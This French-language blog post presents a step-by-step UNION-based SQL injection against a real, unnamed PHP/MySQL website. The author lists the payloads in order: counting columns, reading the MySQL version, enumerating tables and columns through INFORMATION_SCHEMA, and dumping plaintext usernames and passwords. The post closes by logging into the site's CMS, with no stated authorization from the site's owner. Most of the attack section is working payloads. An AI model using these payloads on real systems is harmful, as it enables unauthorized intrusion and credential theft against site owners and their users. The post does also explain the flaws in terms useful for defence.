skip to main | skip to sidebar
Code 18
Manuel du savoir-faire à l'usage des geeks et des curieux
RSS
  • Accueil
  • Le web au Québec
  • Liens
  • Twitter
  • Facebook
  • À propos

lundi 7 décembre 2009

Démo d'injection SQL sur MySQL

Publié par Infinite Loop, à 22 h 12 0 commentaire

Je parle rarement de MySQL car je n'ai jamais eu l'opportunité de travailler avec ce système de base de données dans un environnement professionnel. Cependant, comme la sécurité des sites me tient à coeur, il est toujours bon d'en savoir un minimum pour éviter les dégâts. Et comprendre les techniques d'injection permet généralement de mieux protéger notre code contre les attaques.

Et certains ne l'ont vraisemblablement pas compris. Voici la démarche que j'ai utilisé pour extraire d'un site PHP / MySQL, la liste des noms d'usagers et les mots de passe pour se connecter à l'interface de gestion (Content Management System).

D'abord, trois choses :

  • le site en question ne vérifiait pas les types des paramètres reçus
  • le site affichait explicitement les messages d'erreurs provenant de la base de données
  • les mots de passe n'étaient pas encryptés
Avant de poursuivre, je tiens à spécifier que je taierai le nom du site par souçi d'éthique et que par principe, j'ai effectué ces tests que pour démontrer la faille de sécurité. En aucun cas je n'ai endommagé le système. De plus, le nom de l'entreprise qui a développé le projet figure en pied de page et je ne veux pas nuire à leur réputation (mais bon, tous leurs sites sont injectables car ils sont faits sur le même moule...).

Le truc le plus facile pour voir si un paramètre n'est pas validé est de modifier sa valeur directement par le query string. Prenons une page au hasard. Celle-ci devrait normalement retourner un seul enregistrement à l'intérieur d'un recordset :

page.php?id=102

Le système s'attend à ce que ça soit un champ de type integer. Si on altère le type :

page.php?id=102'

Il est possible que ça provoque une erreur :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''102''' at line 1

Excellent. Non seulement les messages d'erreurs sont affichés mais on voit aussi que c'est MySQL.

En SQL, on sait qu'on peut utiliser UNION ALL pour joindre deux requêtes SQL sous un même jeu de résultats. L'idée est de générer un enregistrement supplémentaire bidon qui comprendra le même nombre de champs que l'enregistrement original (le nouvel enregistrement utilisera les mêmes noms ou alias que ceux nommés dans le SELECT initial). Commençons par ceci :

id=102' UNION ALL SELECT 1/*

Un message d'erreur indique :
The used SELECT statements have a different number of columns.


Ajoutons d'autres champs un par un jusqu'à ce qu'on puisse deviner le nombre exact.

id=102' UNION ALL SELECT 1, 2/*
id=102' UNION ALL SELECT 1, 2, 3/*
...
id=102' UNION ALL SELECT 1, 2, 3, 4, 5/*

Avec cette dernière requête, le message n'apparaît plus. C'est donc dire que nous avons réussi à créer un enregistrement valide. Notre recordset retourne 2 enregistrements plutôt qu'un. Essayons de faire afficher le second en utilisant la clause LIMIT et l'offset :

id=102' UNION ALL SELECT 1,2,3,4,5 LIMIT 1,2/*

Dans la page PHP, il devrait normalement y avoir un champ qui affiche un des chiffres que nous avons inscrit (de 1 à 5). C'est par ce champ que nous allons faire sortir les données (dans mon cas, c'est par le champ "2").

On sait que le site utilise MySQL. Mais quelle version ? Je vais en faire la demande par la fonction système version() que j'invoquerai à la place du deuxième champ :

id=102' UNION ALL SELECT 1,version(),3,4,5 LIMIT 1,2/*

Oups, une erreur :

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'

Il suffit de le convertir :

id=102' UNION ALL SELECT 1, CONVERT(version() using latin1),3,4,5 LIMIT 1,2/*

5.0.18 apparaît dans la page. Ce qui nous permet de savoir quelles fonctionnalités sont disponibles et quelles vulnérabilités sont présentes pour cette version.

Je suis maintenant en mesure de faire sortir n'importe quelle donnée par le deuxième enregistrement. On sait par la documentation qu'on peut utiliser INFORMATION_SCHEMA pour trouver le nom de toutes les tables d'une base de données :

id=102' UNION ALL SELECT 1, CONVERT(table_name using latin1),3,4,5 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,2/*

En modifiant le LIMIT 1,2 par LIMIT 2,2 ou LIMIT 3,2, etc, je verrai apparaître le nom de chaque table successivement. Il faut savoir que les tables systèmes apparaîtront en premier et que ce n'est que vers la 15ème ou 16ème que les tables utilisateurs feront leur apparition. Oh, comme par hasard, on voit passer une table users !

Je répète le même genre de processus (avec LIMIT) pour extraire le nom de chaque colonne de la table users :

id=102' UNION ALL SELECT 1, CONVERT(column_name using latin1),3,4,5 FROM INFORMATION_SCHEMA.columns WHERE table_name = 'users' LIMIT 1,1/*

id, username, password.

Cool :-)

Enfin, je veux voir les données de cette table :

id=102' UNION ALL SELECT 1, CONVERT(username using latin1),3,4,5 FROM users LIMIT 1,1/*

id=102' UNION ALL SELECT 1, CONVERT(password using latin1),3,4,5 FROM users LIMIT 1,1/*

Une fois en possession d'une combinaison username / password, ça peut être un bon réflexe de visionner le fichier robots.txt. Parfois, les noms de certains répertoires à exclure des moteurs de recherche y figurent. Dans mon cas, celui correspondant au CMS y était.

Accédez à la page d'authentification et connectez-vous. Voilà, vous avez introduit le système.


Tags: Sécurité

0 réponse à "Démo d'injection SQL sur MySQL"


Publier un commentaire

Message plus récent Messages plus anciens Accueil
S'abonner à : Publier des commentaires (Atom)
    Suivre @code18 sur Twitter

    Catégories

    • Apache (21)
    • Citations (167)
    • Club Vidéo (24)
    • Coffre à outils (55)
    • CSS (8)
    • Curiosités (117)
    • Design Pattern (2)
    • Drupal (8)
    • Easter Eggs (22)
    • Extensions Firefox (20)
    • GIMP (7)
    • Histoire (21)
    • HTML (32)
    • Humour (57)
    • Intégration (34)
    • iPod (12)
    • JavaScript (110)
    • Jeu de combat (6)
    • Le coin du geek (128)
    • Liens (12)
    • Linux (56)
    • Livres (78)
    • Lois et principes (46)
    • Marché des saveurs (26)
    • Mathématique (18)
    • Mobile (5)
    • Montréal (32)
    • Musique (112)
    • Pancartes et écriteaux (16)
    • Perl (8)
    • Pérou (1)
    • PHP (130)
    • PostgreSQL (44)
    • Programmation (105)
    • Saviez-vous que (55)
    • Sécurité (22)
    • SEO (5)
    • SQL Server (22)
    • Vieilles publicités (6)
    • Virtualisation (8)
    • Voyages (1)
    • Zend Framework (26)

    Divers

    Archives

    • ►  2015 (6)
      • ►  août 2015 (1)
      • ►  juillet 2015 (1)
      • ►  février 2015 (3)
      • ►  janvier 2015 (1)
    • ►  2014 (8)
      • ►  décembre 2014 (1)
      • ►  novembre 2014 (1)
      • ►  octobre 2014 (1)
      • ►  août 2014 (2)
      • ►  juillet 2014 (2)
      • ►  janvier 2014 (1)
    • ►  2013 (53)
      • ►  décembre 2013 (2)
      • ►  novembre 2013 (1)
      • ►  octobre 2013 (3)
      • ►  septembre 2013 (2)
      • ►  août 2013 (5)
      • ►  juillet 2013 (3)
      • ►  juin 2013 (5)
      • ►  mai 2013 (3)
      • ►  avril 2013 (7)
      • ►  mars 2013 (7)
      • ►  février 2013 (11)
      • ►  janvier 2013 (4)
    • ►  2012 (105)
      • ►  décembre 2012 (8)
      • ►  novembre 2012 (5)
      • ►  octobre 2012 (4)
      • ►  septembre 2012 (1)
      • ►  août 2012 (8)
      • ►  juillet 2012 (7)
      • ►  juin 2012 (7)
      • ►  mai 2012 (10)
      • ►  avril 2012 (13)
      • ►  mars 2012 (15)
      • ►  février 2012 (15)
      • ►  janvier 2012 (12)
    • ►  2011 (146)
      • ►  décembre 2011 (14)
      • ►  novembre 2011 (11)
      • ►  octobre 2011 (12)
      • ►  septembre 2011 (13)
      • ►  août 2011 (15)
      • ►  juillet 2011 (17)
      • ►  juin 2011 (18)
      • ►  mai 2011 (15)
      • ►  avril 2011 (9)
      • ►  mars 2011 (7)
      • ►  février 2011 (3)
      • ►  janvier 2011 (12)
    • ►  2010 (398)
      • ►  décembre 2010 (29)
      • ►  novembre 2010 (28)
      • ►  octobre 2010 (32)
      • ►  septembre 2010 (34)
      • ►  août 2010 (22)
      • ►  juillet 2010 (35)
      • ►  juin 2010 (42)
      • ►  mai 2010 (36)
      • ►  avril 2010 (37)
      • ►  mars 2010 (34)
      • ►  février 2010 (32)
      • ►  janvier 2010 (37)
    • ▼  2009 (429)
      • ▼  décembre 2009 (32)
        • Transférer de serveur une BD PostgreSQL
        • Manipuler des fichiers PDF gratuitement
        • Calendrier Linux en septembre 1752
        • Fichier batch pour renommer les fichiers en lot
        • Palindrome mathématique
        • Comment fonctionne le modulo ?
        • Citation no. 62 sur les artistes
        • Film Pirates of Silicon Valley
        • Une surprise pour Noël
        • The Long Tail par Chris Anderson
        • L'informatique et King Kong Bundy
        • Origine du nom des notes de musique
        • Ordre de recherche dans les schémas PostgreSQL
        • Ce que veut dire Wiki
        • Citation no. 61 à propos de PHP et Perl
        • Fusionner des structures JSON avec jQuery
        • Game Boy sur Psycho-acoustic
        • Clone de la Nintendo Wii
        • Exclure les répertoires .svn de grep
        • Tag de version avec TortoiseSVN
        • Compte à rebours 2010 de Google
        • État de santé - repos forcé à mes doigts
        • Citation no. 60 sur la complexité
        • jPod de Douglas Coupland
        • Simuler unnest() avant Postgres 8.4
        • Démo d'injection SQL sur MySQL
        • Jeu caché dans Gnome (GEGL)
        • Citation no. 59 sur le café
        • Le plus beau gars du Québec
        • Thème Windows XP sur Ubuntu : ça marche!
        • Invitation à un cocktail de Microsoft
        • Défilement sur Google Maps
      • ►  novembre 2009 (34)
      • ►  octobre 2009 (33)
      • ►  septembre 2009 (37)
      • ►  août 2009 (37)
      • ►  juillet 2009 (39)
      • ►  juin 2009 (38)
      • ►  mai 2009 (37)
      • ►  avril 2009 (35)
      • ►  mars 2009 (36)
      • ►  février 2009 (32)
      • ►  janvier 2009 (39)
    • ►  2008 (84)
      • ►  décembre 2008 (34)
      • ►  novembre 2008 (39)
      • ►  octobre 2008 (11)

    Abonnés

Copyright © All Rights Reserved. Code 18 | Converted into Blogger Templates by Theme Craft